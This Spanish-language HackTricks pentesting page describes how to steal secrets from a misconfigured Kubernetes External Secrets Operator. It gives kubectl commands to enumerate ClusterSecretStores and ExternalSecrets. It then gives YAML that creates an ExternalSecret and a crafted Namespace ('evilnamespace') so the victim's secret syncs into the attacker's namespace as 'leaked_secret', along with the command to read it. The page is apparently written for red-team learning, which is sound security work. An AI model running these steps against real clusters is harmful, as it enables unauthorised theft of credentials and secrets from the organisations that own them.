External Secret Operator

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

El autor original de esta página es Fares

Esta página ofrece algunas indicaciones sobre cómo puedes robar secretos de un ESO mal configurado o de una aplicación que utiliza ESO para sincronizar sus secretos.

Aviso

La técnica mostrada a continuación solo puede funcionar cuando se cumplen ciertas circunstancias. Por ejemplo, depende de los requisitos necesarios para permitir que un secreto se sincronice en un espacio de nombres que posees / has comprometido. Necesitas averiguarlo por ti mismo.

Requisitos previos

  1. Un acceso en un clúster de kubernetes / openshift con privilegios de administrador en un espacio de nombres
  2. Acceso de lectura a al menos ExternalSecret a nivel de clúster
  3. Averiguar si hay etiquetas / anotaciones o membresía de grupo requeridas que permitan a ESO sincronizar tu secreto. Si tienes suerte, puedes robar libremente cualquier secreto definido.

Reuniendo información sobre el ClusterSecretStore existente

Suponiendo que tienes un usuario que tiene suficientes derechos para leer este recurso; comienza por listar primero los ClusterSecretStores existentes.

kubectl get ClusterSecretStore

Enumeración de ExternalSecret

Supongamos que encontraste un ClusterSecretStore llamado mystore. Continúa enumerando su externalsecret asociado.

kubectl get externalsecret -A | grep mystore

Este recurso está limitado al espacio de nombres, así que a menos que ya sepas en qué espacio de nombres buscar, agrega la opción -A para buscar en todos los espacios de nombres.

Deberías obtener una lista de externalsecret definidos. Supongamos que encontraste un objeto externalsecret llamado mysecret definido y utilizado por el espacio de nombres mynamespace. Reúne un poco más de información sobre qué tipo de secreto contiene.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Assembling the pieces

Desde aquí puedes obtener el nombre de uno o varios nombres de secretos (como se define en el recurso Secret). Obtendrás una salida similar a:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Hasta ahora tenemos:

  • Nombre de un ClusterSecretStore
  • Nombre de un ExternalSecret
  • Nombre del secreto

Ahora que tenemos todo lo que necesitamos, puedes crear un ExternalSecret (y eventualmente parchear/crear un nuevo Namespace para cumplir con los requisitos necesarios para sincronizar tu nuevo secreto):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Después de unos minutos, si se cumplieron las condiciones de sincronización, deberías poder ver el secreto filtrado dentro de tu espacio de nombres.

kubectl get secret leaked_secret -o yaml

Referencias

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets. \xc2\xb7 GitHub

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks